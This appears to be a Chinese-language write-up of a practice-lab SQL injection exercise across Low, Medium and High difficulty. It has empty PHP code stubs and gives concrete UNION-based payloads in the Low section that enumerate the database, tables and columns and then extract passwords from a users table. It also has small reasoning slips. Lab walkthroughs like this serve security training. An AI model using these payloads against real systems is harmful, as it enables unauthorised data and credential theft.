Low
代码复现如下:
| 1 | <?php | 
这关毫无过滤的sql语句
提示输入id,判断可能是数字型注入
输入1
 
                再输入1’
 
                出现报错,从错误信息判断是数字型注入,且被单引号包裹
输入1’#
 
                没有报错
接下来判断查询字段数
输入1’ order by 3
 
                说明查询字段数为2
那么就用联合查询来爆库
输入0’ union select database(),2 #
 
                输入0’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
爆表
 
                输入0’ union select group_concat(column_name),2 from information_schema.columns where table_name=’users’#
爆列
 
                输入0’ union select password,user_id from users #
爆数据
 
                Medium
代码复现如下:
| 1 | <?php | 
这关很明显是数字型注入,通过选择表单中的数字作为注入点,我们可以用burp抓包修改post的id值
 
                 
                这里id值虽然通过mysql_real_escape函数被转义处理,但是由于id没有被引号包裹,所以没有什么区别
先判断查询字段数
 
                字段数为2
接下来爆库
 
                爆表
 
                爆列
 
                因为这里单引号被包裹,所以users可以转成十六进制数从而绕过转义
爆数据
 
                High
这关有两个页面,一个页面用来输入id值,输入的id值经过sql查询后的信息显示在主页面上
输入id值的页面代码如下:
| 1 | <?php | 
主页面代码如下:
| 1 | <?php | 
这关把post的id值赋值给session的id值
注入点仍然是id值
跟上面关卡没什么本质区别
爆库
 
                 
                爆表
 
                 
                爆列
 
                 
                爆数据
 
                